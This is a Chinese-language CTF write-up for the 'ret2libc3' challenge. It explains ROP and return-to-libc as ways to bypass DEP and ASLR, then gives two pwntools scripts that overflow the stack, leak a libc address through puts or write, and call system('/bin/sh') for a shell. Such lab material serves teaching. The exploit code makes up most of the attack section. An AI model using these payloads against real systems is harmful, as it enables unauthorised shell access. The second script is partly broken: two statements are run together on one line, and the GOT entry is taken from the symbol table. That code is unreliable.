题目:link > m93t
引
ROP的全称为 Return-oriented programming
(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
常见的程序流劫持就是栈溢出
,格式化字符串攻击
和堆溢出
。
通过程序流劫持,攻击者可以控制PC指针
从而执行目标代码
。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP
(堆栈不可执行),ASLR
(内存地址随机化),Stack Protector
(栈保护)
ret
= return-to-libc
是一种对抗linux系统栈保护的攻击方法
注:
0.有相关libc
文件
1.没有system
和/bin/sh
2.在开启地址随机化和DEP保护的时候,我们无法利用正常的函数泄露去获取shell
3.在没有sysytem
的时候,system
和write
的相对地址是不会变的。 我们可以利用write
(延迟捆绑技术)输出真实的write
函数的地址(首选需要调用一次write函数
)
4.系统在调用write@plt
的时候会将write
的真实地址存放在write@got
表里面,会根据write@got
跳转到write
的位置)
5.利用system_addr = (write_addr -write@plt) + system@plt
=> libc_base + system@plt
。知道了libc_base
就等于知道了libc
库的加载基地址
EXP
注:常见的有泄露__libc_start_main
函数, 获取libc_base
-> system
LibcSearcher 一个基于libc_database写的python库
# -*- coding: utf-8 -*-
from pwn import*
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
libc = ELF('./ret2libc3')
#通过工具获得__libc_start_main@got
print "1" #如果出错知道在哪个环节
plt_puts = libc.plt['puts']
got_libc_start_main = libc.got['__libc_start_main']
main_addr = libc.symbols['main']
print "[+]plt_puts:"+hex(plt_puts)
print "[+]got_libc_start_main:"+hex(got_libc_start_main)
print "[+]main_addr:"+hex(main_addr)
print "2"
#泄露got_libc_start_main的地址
payload = flat(['A' * 112,plt_puts,main_addr,got_libc_start_main])
p.recvuntil('Can you find it !?')
p.sendline(payload)
libc_start_main_addr = u32(p.recv()[0:4])
print "[+]libc_start_main_addr :" +hex(libc_start_main_addr)
print "3"
#泄露libc库
libc_link = LibcSearcher('__libc_start_main',libc_start_main_addr)
#函数地址 - 函数偏移 = libc_base
libc_base = libc_start_main_addr - libc_link.dump('__libc_start_main')
system_addr = libc_base + libc_link.dump('system')
bin_sh_addr = libc_base + libc_link.dump('str_bin_sh')
print "get shell"
payload = flat(['A'*104,system_addr,0xdeadbeef,bin_sh_addr])
p.sendline(payload)
p.interactive()
注:原先我是通过找到__libc_start_main (地址后三位)
,在libc—datebase
里面去查找,然后根据自己使用的glibc
的版本去泄露偏移地址
这个脚本工具,是基于libc-datebase
的数据库,我们可以直接用脚本跑出来,减少了去gdb
内部找地址。
EXP(write
)
注:这个脚本适用于带有write函数的题目,和本题类似,利用思路是一样的。
from pwn import*
libc = ELF('./ret2libc3')
elf = ELF('./ret2libc3')p = process('./ret2libc3')
plt_write = elf.plt['write']
got_write = elf.sym['write']
main_addr = 0x80484D0
payload = 'A'*140
payload += p32(plt_write)
payload += p32(main_addr)
payload += p32(1)
payload += p32(got_write)
payload += p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
bin_sh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))
payload = 'A'*140
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
p.sendline(payload)
p.interactive()
参考链接:
工具使用:https://blog.csdn.net/kevin66654/article/details/87282411